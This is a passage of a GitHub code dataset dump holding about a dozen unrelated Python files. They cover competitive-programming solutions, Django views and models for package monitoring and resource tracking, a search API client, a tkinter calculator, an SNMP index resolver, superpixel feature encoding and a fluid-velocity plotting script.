save_txt(stage_name,sar_general, optic_general)\n\n print(\"Saving status:\", saving_res)\n\n","repo_name":"ErolCitak/SarOpticImageMatching","sub_path":"dataset_name_list_preparing.py","file_name":"dataset_name_list_preparing.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"} +{"seq_id":"20726956112","text":"import io\nfrom operator import mod\nimport sys\n\n_INPUT = \"\"\"\\\n4\n3\n1 2 3\n2\n20 23\n10\n6 10 4 1 5 9 8 6 5 1\n1\n1000000000\n\n\n\"\"\"\nsys.stdin = io.StringIO(_INPUT)\n\n# ---------------------------------\nt = int(input())\n\nfor _ in range(t):\n n = int(input())\n ans = 0\n for ai in list(map(int, input().split())):\n if ai % 2 == 1:\n ans += 1\n print(ans)\n","repo_name":"makima333/Atcoder-ganbaru","sub_path":"contest/abc284/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34869332443","text":"import json\n\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render\nfrom django.utils.html import format_html\n\nfrom app_utils.views import link_html, no_wrap_html, yesno_str\n\nfrom . import __title__\nfrom .app_settings import (\n PACKAGE_MONITOR_INCLUDE_PACKAGES,\n PACKAGE_MONITOR_SHOW_ALL_PACKAGES,\n)\nfrom .models import Distribution\n\nPACKAGE_LIST_FILTER_PARAM = \"filter\"\n\n\n@login_required\n@permission_required(\"package_monitor.basic_access\")\ndef index(request):\n obj = Distribution.objects.first()\n updated_at = obj.updated_at if obj else None\n distributions_qs = Distribution.objects.currently_selected()\n filter = request.GET.get(PACKAGE_LIST_FILTER_PARAM)\n if not filter:\n app_count = Distribution.objects.currently_selected().outdated_count()\n filter = \"outdated\" if app_count and app_count > 0 else \"current\"\n\n context = {\n \"app_title\": __title__,\n \"page_title\": \"Distribution packages\",\n \"updated_at\": updated_at,\n \"filter\": filter,\n \"all_count\": distributions_qs.count(),\n \"current_count\": distributions_qs.filter(is_outdated=False).count(),\n \"outdated_count\": distributions_qs.outdated_count(),\n \"unknown_count\": distributions_qs.filter(is_outdated__isnull=True).count(),\n \"include_packages\": PACKAGE_MONITOR_INCLUDE_PACKAGES,\n \"show_all_packages\": PACKAGE_MONITOR_SHOW_ALL_PACKAGES,\n }\n return render(request, \"package_monitor/index.html\", context)\n\n\n@login_required\n@permission_required(\"package_monitor.basic_access\")\ndef package_list_data(request) -> JsonResponse:\n \"\"\"Returns the packages as list in JSON.\n Specify different subsets with the \"filter\" GET parameter\n \"\"\"\n my_filter = request.GET.get(PACKAGE_LIST_FILTER_PARAM, \"\")\n distributions_qs = Distribution.objects.currently_selected()\n\n if my_filter == \"outdated\":\n distributions_qs = distributions_qs.filter(is_outdated=True)\n elif my_filter == \"current\":\n distributions_qs = distributions_qs.filter(is_outdated=False)\n elif my_filter == \"unknown\":\n distributions_qs = distributions_qs.filter(is_outdated__isnull=True)\n\n data = list()\n for dist in distributions_qs.order_by(\"name\"):\n name_link_html = (\n link_html(dist.website_url, dist.name) if dist.website_url else dist.name\n )\n if dist.is_outdated:\n name_link_html += ' <i class=\"fas fa-exclamation-circle\" title=\"Update available\"></i>'\n\n if dist.apps:\n _lst = [no_wrap_html(row) for row in json.loads(dist.apps)]\n apps_html = \"<br>\".join(_lst) if _lst else \"-\"\n else:\n apps_html = \"\"\n\n if dist.used_by:\n used_by_sorted = sorted(json.loads(dist.used_by), key=lambda k: k[\"name\"])\n used_by_html = \"<br>\".join(\n [\n format_html(\n '<span title=\"{}\" style=\"white-space: nowrap;\">{}</span>',\n \", \".join(row[\"requirements\"])\n if row[\"requirements\"]\n else \"ANY\",\n link_html(row[\"homepage_url\"], row[\"name\"])\n if row[\"homepage_url\"]\n else row[\"name\"],\n )\n for row in used_by_sorted\n ]\n )\n else:\n used_by_html = \"\"\n\n if not dist.latest_version:\n latest_html = \"?\"\n else:\n command = f\"pip install {dist.pip_install_version}\"\n latest_html = no_wrap_html(\n f'<span class=\"copy_to_clipboard\" '\n f'title=\"Click to copy install command to clipboard\"'\n f' data-text=\"{command}\">'\n f\"{dist.latest_version}\"\n '  <i class=\"far fa-copy\"></i></span>'\n )\n\n data.append(\n {\n \"name\": dist.name,\n \"name_link\": no_wrap_html(name_link_html),\n \"apps\": apps_html,\n \"used_by\": used_by_html,\n \"current\": dist.installed_version,\n \"latest\": latest_html,\n \"is_outdated\": dist.is_outdated,\n \"is_outdated_str\": yesno_str(dist.is_outdated),\n \"description\": dist.description,\n }\n )\n\n return JsonResponse(data, safe=False)\n\n\n@login_required\n@permission_required(\"package_monitor.basic_access\")\ndef refresh_distributions(request):\n Distribution.objects.update_all(use_threads=True)\n return HttpResponse(\"ok\")\n","repo_name":"staropera/aa-package-monitor","sub_path":"package_monitor/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6158714961","text":"from constants.project_constants import *\r\nfrom exceptions.api_exception_handler import *\r\n\r\nimport json, requests\r\n\r\ndef post_search(AUTH_TOKEN, PAGE_OFFSET, PAGE_SIZE, SEARCH_QUERY, FILTERS, SORT_FIELDS_NAME, \r\n SORT_FIELDS_ORDER, RESULT_FIELDS, IS_ADMIN) -> dict:\r\n\r\n # Check for valid parameters\r\n if (not AUTH_TOKEN):\r\n raise Exception(\"Authentication Token: The authentication token is invalid\")\r\n\r\n API_URL = f\"{ADMIN_API_URL}/admin/search\" if IS_ADMIN else f\"{PORTAL_API_URL}/portal/search\"\r\n \r\n # Create header for the request\r\n HEADERS = {\r\n \t \"Authorization\": \"Bearer \" + AUTH_TOKEN,\r\n \"Content-Type\": \"application/json\"\r\n }\r\n\r\n # Build the payload BODY\r\n BODY = {\"searchResultFields\": RESULT_FIELDS}\r\n\r\n if PAGE_OFFSET != \"\": BODY[\"pageOffset\"] = PAGE_OFFSET\r\n if PAGE_SIZE != \"\": BODY[\"pageSize\"] = PAGE_SIZE\r\n if SEARCH_QUERY != \"\": BODY[\"searchQuery\"] = SEARCH_QUERY \r\n\r\n if len(FILTERS) != 0: BODY[\"filters\"] = FILTERS\r\n\r\n if SORT_FIELDS_NAME != \"\": BODY[\"sortFields\"] = [{\"fieldName\": SORT_FIELDS_NAME, \"sortType\": SORT_FIELDS_ORDER}]\r\n\r\n try:\r\n # Send the request\r\n RESPONSE = requests.post(API_URL, headers= HEADERS, data= json.dumps(BODY))\r\n\r\n if not RESPONSE.ok:\r\n raise Exception()\r\n\r\n return json.loads(RESPONSE.text)\r\n\r\n except:\r\n api_exception_handler(RESPONSE, \"Searching failed\")\r\n\r\n","repo_name":"Nomad-Media/samples","sub_path":"nomad-samples/common/py/search_api/search_api/post_search.py","file_name":"post_search.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22772738693","text":"from django.db import models\nfrom taggit.managers import TaggableManager\n\nfrom resource_tracker.models.resource_group_attribute_definition import ResourceGroupAttributeDefinition\nfrom resource_tracker.models.exceptions import ExceptionResourceTracker\nfrom resource_tracker.models.resource_group_text_attribute_definition import ResourceGroupTextAttributeDefinition\n\n\nclass ResourceGroup(models.Model):\n name = models.CharField(max_length=100,\n blank=False,\n unique=True)\n\n tags = TaggableManager()\n\n def __str__(self):\n return self.name\n\n def add_attribute_definition(self, name, produce_for=None, consume_from=None, help_text=None):\n self.raise_if_attribute_name_exist(name)\n attribute = self.attribute_definitions.create(name=name, produce_for=produce_for, consume_from=consume_from,\n help_text=help_text)\n attribute.save()\n self.init_attribute(attribute)\n return attribute\n\n def edit_attribute_definition(self, attribute_id, name, produce_for=None, consume_from=None, help_text=None):\n attribute = ResourceGroupAttributeDefinition.objects.get(id=attribute_id)\n if name != attribute.name:\n self.raise_if_attribute_name_exist(name)\n attribute.edit(name, produce_for, consume_from, help_text)\n self.init_attribute(attribute)\n return attribute\n\n def raise_if_attribute_name_exist(self, name):\n obj = ResourceGroupAttributeDefinition.objects.filter(name=name, resource_group=self)\n # if name is already used\n if len(obj) != 0:\n raise ExceptionResourceTracker.AttributeAlreadyExist(resource_group_name=self.name, attribute_name=name)\n\n def init_attribute(self, attribute):\n for resource in self.resources.all():\n resource.attributes.get_or_create(attribute_type=attribute)\n\n def add_text_attribute_definition(self, name, help_text=\"\"):\n self.raise_if_text_attribute_name_exist(name)\n text_attribute = self.text_attribute_definitions.create(name=name, help_text=help_text)\n text_attribute.save()\n self.init_text_attribute(text_attribute)\n return text_attribute\n\n def edit_text_attribute_definition(self, attribute_id, name, help_text=\"\"):\n text_attribute = ResourceGroupTextAttributeDefinition.objects.get(id=attribute_id)\n if name != text_attribute.name:\n self.raise_if_text_attribute_name_exist(name)\n text_attribute.edit(name, help_text)\n self.init_text_attribute(text_attribute)\n return text_attribute\n\n def raise_if_text_attribute_name_exist(self, name):\n obj = ResourceGroupTextAttributeDefinition.objects.filter(name=name, resource_group=self)\n # if name is already used\n if len(obj) != 0:\n raise ExceptionResourceTracker.AttributeAlreadyExist(resource_group_name=self.name, attribute_name=name)\n\n def init_text_attribute(self, attribute):\n for resource in self.resources.all():\n resource.text_attributes.get_or_create(text_attribute_type=attribute)\n\n def create_resource(self, name):\n resource, created = self.resources.get_or_create(name=name)\n if created:\n for attribute in self.attribute_definitions.all():\n resource.attributes.create(attribute_type=attribute)\n for attribute in self.text_attribute_definitions.all():\n resource.text_attributes.create(text_attribute_type=attribute)\n return resource\n\n def recalculate_total_resources(self):\n for attribute_definition in self.attribute_definitions:\n attribute_definition.calculate_total_resource()\n","repo_name":"EliasBoulharts/squest","sub_path":"resource_tracker/models/resource_group.py","file_name":"resource_group.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"42073284338","text":"class Solution(object):\n def removeElement(self, nums, val):\n \"\"\"\n :type nums: List[int]\n :type val: int\n :rtype: int\n \"\"\"\n length = len(nums)\n if length == 0:\n return 0;\n i, j = 0, 0\n while i < length and i + j < length - 1:\n while nums[i] == val and i + j < length - 1:\n nums[i], nums[length-j-1] = nums[length-j-1], nums[i]\n j += 1\n i += 1\n return length-j if nums[length-j-1] != val else length-j-1\n\nif __name__ == '__main__':\n solution = Solution()\n nums1 = [3, 2, 2, 3]\n nums2 = [3, 3, 3]\n length1 = solution.removeElement(nums1, 3)\n length2 = solution.removeElement(nums2, 3)\n print(length1, nums1)\n print(length2, nums2)\n","repo_name":"alex404A/leetcode","sub_path":"remove-element/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42394965383","text":"import tkinter\r\nfrom Derictory import average, median, find_max, find_min, amount, multiplication\r\n\r\n\r\ndef calculate():\r\n numbers = list(map(float, entry.get().split()))\r\n\r\n label_average['text'] = f'Среднее: {average(numbers)}'\r\n label_median['text'] = f'Медиана: {median(numbers)}'\r\n label_max_value['text'] = f'Макс. значение: {find_max(numbers)}'\r\n label_min_value['text'] = f'Мин. значение: {find_min(numbers)}'\r\n label_amount['text'] = f'Сумма чисел: {amount(numbers)}'\r\n label_multiplication['text'] = f'Произведение чисел: {multiplication(numbers)}'\r\n\r\n\r\n\"\"\"Окно\"\"\"\r\nwindow = tkinter.Tk()\r\nwindow.title('Работа с массивами')\r\nwindow.geometry('350x450')\r\nwindow.resizable(False, False)\r\n\r\n\r\n\"\"\"Заголовоки\"\"\"\r\nlabel_main = tkinter.Label(text='Введите числа', font=('Arial', 16), fg='black')\r\nlabel_main.place(relx=0.5, y=10, anchor='n')\r\n\r\nlabel_average = tkinter.Label(text='Среднее:', font=('Arial', 12), fg='black')\r\nlabel_average.place(relx=0.05, y=140, anchor='w')\r\n\r\nlabel_median = tkinter.Label(text='Медиана:', font=('Arial', 12), fg='black')\r\nlabel_median.place(relx=0.05, y=160, anchor='w')\r\n\r\nlabel_max_value = tkinter.Label(text='Макс. значение:', font=('Arial', 12), fg='black')\r\nlabel_max_value.place(relx=0.05, y=180, anchor='w')\r\n\r\nlabel_min_value = tkinter.Label(text='Мин. значение:', font=('Arial', 12), fg='black')\r\nlabel_min_value.place(relx=0.05, y=200, anchor='w')\r\n\r\nlabel_amount = tkinter.Label(text='Сумма чисел:', font=('Arial', 12), fg='black')\r\nlabel_amount.place(relx=0.05, y=220, anchor='w')\r\n\r\nlabel_multiplication = tkinter.Label(text='Произведение чисел:', font=('Arial', 12), fg='black')\r\nlabel_multiplication.place(relx=0.05, y=240, anchor='w')\r\n\r\n\r\n\"\"\"Поле ввода\"\"\"\r\nentry = tkinter.Entry(font=('Arial', 12), width=30)\r\nentry.place(relx=0.5, y=50, anchor='n')\r\n\r\n\r\n\"\"\"Кнопка действия\"\"\"\r\nbutton = tkinter.Button(text='Вычислить',font='Arial', bg='white', fg='black', width=10, height=1, command=calculate)\r\nbutton.place(relx=0.5, y=80, anchor='n')\r\n\r\nwindow.mainloop()\r\n\r\n","repo_name":"Patr1ckBateman/Application-for-working-with-arrays","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10073213803","text":"# This file is part of opentsdb-snmp.\n#\n# This program is free software: you can redistribute it and/or modify it\n# under the terms of the GNU Lesser General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or (at your\n# option) any later version. This program is distributed in the hope that it\n# will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n# of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser\n# General Public License for more details. You should have received a copy\n# of the GNU Lesser General Public License along with this program. If not,\n# see <http://www.gnu.org/licenses/>.\n\n\nclass AfterIndex:\n def __init__(self, cache=None):\n self.cache = cache\n\n def resolve(self, index, device=None, updown=False, reverse=False):\n tags = {}\n buf = (\"%s\" % index).split(\".\")\n tags[\"index\"] = int(buf[0])\n if int(buf[1]) == 2 or (int(buf[1]) == 1 and reverse):\n tags[\"direction\"] = \"us\" if updown else \"out\"\n elif int(buf[1]) == 1 or (int(buf[1]) == 2 and reverse):\n tags[\"direction\"] = \"ds\" if updown else \"in\"\n else:\n raise Exception(\"Direction after Index Resolve failed\")\n return tags\n","repo_name":"frogmaster/opentsdb-snmp","sub_path":"src/opentsdb/snmp/resolvers/after_idx.py","file_name":"after_idx.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"15290468897","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 17 18:24:28 2017\n\n@author: anvesha\n\"\"\"\nimport numpy as np\nfrom nn import neural_net, LossHistory\nimport os.path\nimport timeit\nimport random\nfrom sklearn import datasets, linear_model\nimport matplotlib.pyplot as plt\n\ndef generate_data():\n np.random.seed(0)\n X, y = datasets.make_moons(200, noise=0.20)\n return X, y\n\n\ndef train_net(model, params,X,y): \n history = LossHistory()\n batchSize = params['batchSize']\n buffer = params['buffer']\n model.fit(\n X, y, batch_size=batchSize,\n nb_epoch=1, verbose=0, callbacks=[history]\n )\n loss_log.append(history.losses)\n \n \n \n\n\n\n\n\n\n\n\n\n\ndef main():\n X, y = generate_data()\n [a,b]=np.shape(X)\n print(a)\n print('\\n')\n print(b)\n nn_param = [50, 50]\n params = {\n \"batchSize\": 100,\n \"buffer\": 50000,\n \"nn\": nn_param\n }\n model = neural_net(a, nn_param)\n train_net(model, params, X,y)\n\n\nif __name__ == \"__main__\":\n main()\n ","repo_name":"Amaravati/nn_from_scratch1","sub_path":"nn-from-scratch/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27246534178","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\n\nfrom .viewsets import (\n DeliverModelAPIView, AssumptionAPIView, ClientServiceAPIView,\n ServiceByBuildingAPIView, ServiceMappingAPIView, ServiceAPIView,\n ClientServiceBulkAPIView, JLLEstimateViewSet, SupplierPriceViewSet\n)\nfrom ...views import viewAndExportData\n\nrouter = DefaultRouter()\nrouter.register('delivery', DeliverModelAPIView)\nrouter.register('assumption', AssumptionAPIView)\nrouter.register('client-service', ClientServiceAPIView)\nrouter.register('service-by-building', ServiceByBuildingAPIView)\nrouter.register('service', ServiceAPIView)\nrouter.register('estimates', JLLEstimateViewSet)\nrouter.register('supplier-prices', SupplierPriceViewSet)\n\n\nurlpatterns = [\n path(\"\", include(router.urls)),\n path('service-mapping', ServiceMappingAPIView.as_view()),\n path('client-service-bulk/', ClientServiceBulkAPIView.as_view()),\n path(\"viewAndExportData/<int:client_id>\", viewAndExportData,name=\"viewAndExportData\"),\n\n]\n\n\n","repo_name":"AyazSaiyed/DummyCal","sub_path":"services/api/v1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18370726020","text":"\n\nimport numpy as np\n\nfrom ._spencoding import _sphist, _spmeans, _spstats\n\n\ndef normalize(features, norm='l1'):\n if norm in ['l1', 'hellinger']:\n features /= np.abs(features).sum(axis=1)[:, None]\n elif norm == 'l2':\n features /= np.sqrt((features**2).sum(axis=1))[:, None]\n elif norm == 'linf':\n features /= np.abs(features).max(axis=1)[:, None]\n elif norm == 'unit':\n features -= features.min(0)\n features /= features.max(0)\n if norm == 'hellinger':\n np.sqrt(features, features) # inplace\n return features\n\n\ndef sphist(data, splabels, nbins=100, norm=None):\n features = _sphist(data, splabels.flatten(), splabels.max()+1, nbins)\n return normalize(features, norm=norm)\n\n\ndef spmeans(data, splabels, norm=None):\n features = _spmeans(data, splabels.flatten(), splabels.max()+1)\n return normalize(features, norm=norm)\n\n\ndef spstats(data, splabels, mode='append', sigmaset=False, covmode='full', norm=None):\n\n if mode not in ['append', 'add', None]:\n raise Exception('Only `append` or `add` methods are accepted')\n\n means, covars = _spstats(data, splabels.flatten(), splabels.max()+1)\n\n if sigmaset:\n # Add small constant to covars to make them positive-definite\n covars += np.eye(covars.shape[-1])[None, ...] * 1e-5\n covars = np.linalg.cholesky(covars) * np.sqrt(means.shape[1])\n\n if covmode == 'full':\n y1, x1 = np.tril_indices(means.shape[1], k=-1)\n y2, x2 = np.triu_indices(means.shape[1], k=1)\n covars[:, y2, x2] = covars[:, y1, x1]\n\n if mode == 'add':\n covars += means[:, :, None]\n\n if sigmaset and covmode == 'tril':\n y, x = np.tril_indices(means.shape[1])\n covars = covars[:, y, x]\n else:\n covars.shape = (covars.shape[0], -1)\n\n if mode == 'append':\n features = np.c_[means, covars]\n else:\n features = covars\n\n return normalize(features, norm=norm)\n","repo_name":"DiamondLightSource/SuRVoS","sub_path":"survos/lib/spencoding.py","file_name":"spencoding.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"21"} +{"seq_id":"40605975325","text":"from ft_len import ft_len\r\n\r\n\r\ndef ft_first_end_three(x):\r\n kol = ft_len(x)\r\n fd = ''\r\n if kol < 5:\r\n for i in range(kol):\r\n return x[0]\r\n else:\r\n fd = fd + x[0] + x[1] + x[2] + x[-3] + x[-2] + x[-1]\r\n return fd\r\n","repo_name":"Tratut/ft_str","sub_path":"ft_first_end_three.py","file_name":"ft_first_end_three.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34470313983","text":"from django.shortcuts import render_to_response, get_object_or_404\nfrom django.template import RequestContext\nfrom mednet.sahana.models import HmsHospital, HmsImage\nfrom django.core.paginator import Paginator, InvalidPage, EmptyPage\nfrom olwidget.widgets import MapDisplay\n\ndef index(request):\n return render_to_response('index.html', {}, context_instance=RequestContext(request))\n\ndef map(request):\n return render_to_response('map.html', {}, context_instance=RequestContext(request))\n\ndef hospitals(request):\n hospital_list = HmsHospital.objects.all().order_by('name')\n paginator = Paginator(hospital_list, 25)\n try:\n page = int(request.GET.get('page', '1'))\n except ValueError:\n page = 1\n\n try:\n hospitals = paginator.page(page)\n except (EmptyPage, InvalidPage):\n hospitals = paginator.page(paginator.num_pages)\n\n return render_to_response('sahana/hospitals.html', {\"hospitals\": hospitals}, context_instance=RequestContext(request))\n\ndef hospital(request, hospital_id):\n\th = get_object_or_404(HmsHospital, pk=hospital_id)\n\timages = HmsImage.objects.filter(hospital=h);\n\tif(h.location):\n\t\tmap = MapDisplay(fields=[h.location,], options={'default_zoom': 15})\n\telse:\n\t\tmap = None\n\treturn render_to_response('sahana/hospital.html', {'hospital': h, 'map': map, 'images': images}, context_instance=RequestContext(request))\n\ndef about(request):\n return render_to_response('about.html', {}, context_instance=RequestContext(request))\n","repo_name":"wonderchook/mednet","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17523432424","text":"#!/usr/bin/python3\n\nimport dis\n\n\ndef MyByte(e, l):\n add = e + l\n sub = e - l\n power = e**l\n s_add = str(add)\n s_sub = str(sub)\n s_power = str(power)\n return s_add+\" \"+\"~\"+\" \"+s_sub+\" \"+\"~\"+\" \"+s_power\n\ndis.dis(MyByte)\nbytecode = dis.code_info(MyByte)\nprint(bytecode)\n\nbytecode = dis.Bytecode(MyByte)\nprint(bytecode)\n\nfor i in bytecode:\n print(i)\n","repo_name":"Leoluwa/alx-higher_level_programming","sub_path":"experiments/0x00/task_13/practice_1.py","file_name":"practice_1.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1335246541","text":"# input = \"011110\"\n#\n#\n# def find_count_to_turn_out_to_all_zero_or_all_one(string):\n# string_array = []\n# idx_array = []\n# for num in string:\n# string_array.append(int(num))\n#\n# for idx in range(len(string_array)-1):\n# if string_array[idx] == string_array[idx+1]:\n# if idx not in idx_array:\n# idx_array.append(idx)\n# idx_array.append(idx+1)\n#\n# return idx_array\n# #연속된 수 찾기\n#\n# #뒤집기\n# #몇 번 뒤집었는지 세기\n#\n# result = find_count_to_turn_out_to_all_zero_or_all_one(input)\n# print(result)\n\ninput = \"011110\"\n\n\ndef find_count_to_turn_out_to_all_zero_or_all_one(string):\n count_to_all_zero = 0\n count_to_all_one = 0\n\n if string[0] == '0':\n count_to_all_one += 1\n elif string[0] == '1':\n count_to_all_zero += 1\n\n for i in range(len(string) - 1):\n if string[i] != string[i + 1]:\n if string[i + 1] == '0':\n count_to_all_one += 1\n if string[i + 1] == '1':\n count_to_all_zero += 1\n\n return min(count_to_all_one, count_to_all_zero)\n\n\nresult = find_count_to_turn_out_to_all_zero_or_all_one(input)\nprint(result)","repo_name":"konsent/coding_test_python","sub_path":"week_01/homework/02_find_count_to_turn_out_to_all_zero_or_all_one.py","file_name":"02_find_count_to_turn_out_to_all_zero_or_all_one.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23563235541","text":"# ************************************\n# Authors: Mark Monteno (u3154816)\n# Assignment 1 Term project: Serverless Computing\n# Built using Python 3.6\n# ************************************\n\nimport boto3\nfrom botocore.exceptions import ClientError\n\n# Send an email via Amazon SES using the given parameters\ndef ses_email(subject, body_text, body_html, sender, receiver):\n # Charset for our SES Email\n CHARSET = \"UTF-8\"\n # Create a new SES resource and specify a region.\n client = boto3.client('ses',region_name=\"us-west-2\")\n \n # Try to send the email.\n try:\n #Provide the contents of the email.\n response = client.send_email(\n Destination={\n 'ToAddresses': [\n receiver,\n ],\n },\n Message={\n 'Body': {\n 'Html': {\n 'Charset': CHARSET,\n 'Data': body_html,\n },\n 'Text': {\n 'Charset': CHARSET,\n 'Data': body_text,\n },\n },\n 'Subject': {\n 'Charset': CHARSET,\n 'Data': subject,\n },\n },\n Source=sender,\n )\n \n # Display an error if something goes wrong.\t\n except ClientError as e:\n print(e.response['Error']['Message'])\n else:\n print(\"Email sent! Message ID:\"),\n print(response['ResponseMetadata']['RequestId'])","repo_name":"monteno-m/job-scraper","sub_path":"app/lambda/aws-simple-scraper/emailer.py","file_name":"emailer.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"23527453335","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n openweather.py\n\n\"\"\"\n\n\nimport urllib.request\nimport json\n\n\ncity_name = input('Dime una ciudad: ').strip().lower().replace(' ', '%20')\ncoutry_code = input('Dime el código país (p.e. \"es o esp\" para España): ').strip().lower().replace(' ', '%20')\n\n\nLANG = 'es'\nAPI_KEY = 'c46e4eae44f551cc12b58f9d9423f232'\nURL = f'https://api.openweathermap.org/data/2.5/weather?q={city_name},{coutry_code}&appid={API_KEY}&lang={LANG}'\n\n\nwith urllib.request.urlopen(URL) as data:\n info = json.loads(data.read())\n #print(info)\n\nmain = info['main']\ntemp = round(main['temp'] - 273.15, 1)\nmax_temp = round(main['temp_max'] - 273.15, 1)\nmin_temp = round(main['temp_min'] - 273.15, 1)\nfeels_like = round(main['feels_like'] - 273.15, 1)\npressure = main['pressure']\nhumidity = main['humidity']\n\nprint()\nprint(f' Ciudad: {info[\"name\"]}')\nprint()\nprint(f' Temperatura: {temp}°C')\nprint(f' Temperatura máxima: {max_temp}°C')\nprint(f' Temperatura mínima: {min_temp}°C')\nprint(f' Sensación térmica: {feels_like}°C')\nprint(f' Presión atmosférica: {pressure} hPa')\nprint(f' Humedad relativa: {humidity}%')\nprint()\n","repo_name":"biojuampa/OpenBootcamp","sub_path":"Intensivo_desde_Cero/Ejercicio4/openwheather2.py","file_name":"openwheather2.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"70586043892","text":"from flask import Flask, render_template\nfrom flask_socketio import SocketIO\nfrom flask_pymongo import PyMongo\nfrom db.db import Tree\nimport os\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app)\n\nmongo = PyMongo(app, uri=os.environ.get('MONGO_URI'))\n\n\ndef get_mongo() -> PyMongo:\n return mongo.db\n\n\n@app.route(\"/sockchat/\")\ndef sockchat():\n return render_template(\"index.html\")\n\n\n@socketio.on('save')\ndef save(data: dict):\n tree = Tree(get_mongo())\n tree_nodes = tree.save_tree(data[\"project\"], data[\"tree\"])\n socketio.emit('saved', {'message': tree_nodes})\n\n\n@socketio.on('get')\ndef save(data: dict):\n tree = Tree(get_mongo())\n socketio.emit('tree', str(tree.get_tree(data[\"project\"])))\n\n\nif __name__ == '__main__':\n socketio.run(app, debug=True, host='0.0.0.0')\n","repo_name":"Daerdemandt/taskmind","sub_path":"back/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39814916352","text":"import numpy as np\nimport scipy.io as sio\nimport matplotlib.pyplot as plt\n\n#download and prepare data\ndata = sio.loadmat('data.mat') \n\n#coordinates \nx = data.get('x')\ny = data.get('y')\n\n#velocity component values\nu = data.get('u')\nv = data.get('v')\n\n#limit between gas and liquid (found beforehand)\nxit = data.get('xit')\nyit = data.get('yit')\n\nX = np.transpose(x) \nY = np.transpose(y)\nU = np.transpose(u)\nV = np.transpose(v)\n\n#find 'infinitesimals'\ndx = x[0,1] - x[0,0]\ndy = y[1,0] - y[0,0]\n\n\n#Test function \ndef sizecheck():\n try: \n assert x.shape == (201,194), 'x matrix wrong size'\n assert y.shape == (201,194), 'y matrix wrong size'\n assert u.shape == (201,194), 'u matrix wrong size'\n assert v.shape == (201,194), 'v matrix wrong size'\n assert xit.shape == (1,194), 'xit vector wrong size'\n assert yit.shape == (1,194), 'yit vector wrong size'\n assert np.all(np.diff(x) == dx), 'x is not linearly spaced'\n assert np.all(np.diff(y, axis=0) == dy), 'y not linearly spaced'\n # assert np.all(y[-1,:] - y[0,:] == 100), 'nei'\n except AssertionError as msg:\n print(msg)\n \n\ndef speed():\n H = np.sqrt(U**2+V**2) #scalar field for speed\n\n #Plotting for speeds from 600 mm/s\n fig, axs = plt.subplots(2)\n axs[0].set_title('speed from 600 mm/s')\n div_plot1 = axs[0].contourf(X, Y, H, levels=np.linspace(600, 4200, 40),cmap='jet') \n plt.colorbar(div_plot1, ax=axs[0])\n axs[0].plot(xit[0], yit[0],'k')\n axs[0].set_xlabel('x-axis [mm]')\n axs[0].set_ylabel('y-axis [mm]')\n\n #Plotting for speeds under 1100 mm/s\n axs[1].set_title('speed under 1100 mm/s')\n div_plot2 = axs[1].contourf(X,Y,H, levels=np.linspace(0, 1100, 60),cmap='jet') \n plt.colorbar(div_plot2, ax=axs[1])\n axs[1].plot(xit[0], yit[0], 'k')\n axs[1].set_xlabel('x-axis [mm]')\n axs[1].set_ylabel('y-axis [mm]')\n\n fig.tight_layout()\n plt.show() \n\n\n\n#Function for plotting a square at given x coordinate \ndef box(y2,y1): \n\n x34 = X[34][0]\n x69 = X[69][0]\n plt.plot([x34,x69],[Y[0][y2],Y[0][y2]],'b')\n 